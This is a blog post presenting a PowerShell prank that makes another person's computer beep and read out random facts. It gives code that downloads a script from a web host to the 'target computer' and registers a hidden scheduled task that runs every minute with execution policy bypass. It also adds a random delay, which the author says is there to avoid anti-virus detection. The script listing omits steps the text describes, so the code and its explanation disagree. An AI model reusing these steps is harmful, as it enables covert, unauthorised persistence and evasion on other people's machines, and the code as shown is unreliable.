I love a good prank. Sometimes pranks need to challenge us. I coded a good prank and it requires a scheduled task and a little bit of PowerShell. The idea behind the prank is the computer will alert you with a beep, then read a random fact to you. Then it closes off with a set of beeps. It looks at this over and over and over again. We will call this script facts.ps1.


$random = Get-Random -minimum 20 -maximum 60
Start-Sleep -s $random
[system.console]::beep(600, 2000)
Add-Type -AssemblyName System.Speech
$voice = New-Object System.Speech.Synthesis.SpeechSynthesizer
$Facts = (Invoke-WebRequest -Uri https://therandomadmin.com/nextcloud/index.php/s/9rmSoM2ppY5ggia/download).tostring() -split "[`n]"
$random = Get-Random $Facts

Let’s break it down so you can appreciate the greatness of this command. The first thing we do is get a random number between 20 and 60 seconds. We do this so the anti-virus doesn’t attack it from starting by the scheduled task time. Then we start sleeping for that amount of time. Once we are done sleeping, we sound the alarm. The [System.Console]::beep(Pitch,Length) does this part.

Next, we import the speech assembly to read off the Fact. That is done by the Add-Type command. Then we set up the voice by using the new-object command and create the System > Speech > Synthesis > Speech Synthesizer. I remember back in high school this was amazing new technology. I wish it would grow.

Now we get the fact sheet from the web. You can download this file and host it wherever you want. I stole it from various sites myself. We grab it with the invoke-webrequest command. Then we convert it to a string. We split said string up by each new string. Now we have the information, we grab a random item by using the get-random command. Then, we dump that into the $voice we made a while ago. It speaks it out to the user. Finally, 3 final beeps to let the user know it’s done and over.

Now we need to take the next steps:

  • Get the script on the target computer
  • Setup a scheduled task to have it run.

To get it on the other persons computer you can put it into a next cloud and download it from there. Use the invoke-webrequest and download the file to the c:\temp\facts.ps1. Then we create two variables, taskname, and facts. The task name is going to be called “Facts” and the Facts needs to be wherever you downloaded the file.

Invoke-WebRequest -Uri "https://rndadhdman.com/index.php/s/mTA6YaDZ7YXAo9E/download" -OutFile c:\temp\Facts.ps1
$taskName = "Facts"
$Facts = "C:\temp\Facts.ps1"

Then we are going to set up action for our scheduled task with the New-ScheduledTaskAction commandlet. The execute will be powershell.exe. The arguments will be execution policy bypass, Noprofile, nologo, noninteractive, windows style will be hidden, and the file is of course the $facts.

$Action = New-ScheduledTaskAction -Execute "PowerShell.exe" -Argument "-executionpolicy bypass -noprofile -nologo -noninteractive -WindowStyle Hidden -file $Facts -Force"

Next we create the trigger with the New-ScheduledTaskTrigger commandlet. This is where the fun can be exciting. We can do this one, daily, minutely, oh yeah. We only want to do this once, so we will select once in this case, but we want it to repeat every minute or so. We do that with the new-timespan commandlet.

$taskTrigger = New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(10) -RepetitionInterval (New-TimeSpan -Minutes 1)

Finally, we put it together with the register-scheduledtask commandlet. The task name will be the $taskname, the action will be $action, and the trigger will be $tasktrigger.

Register-ScheduledTask -TaskName $taskName -Action $Action -Trigger $taskTrigger -Force

For the rest of the day, their computer will read off odd strange facts.

I hope you enjoyed it.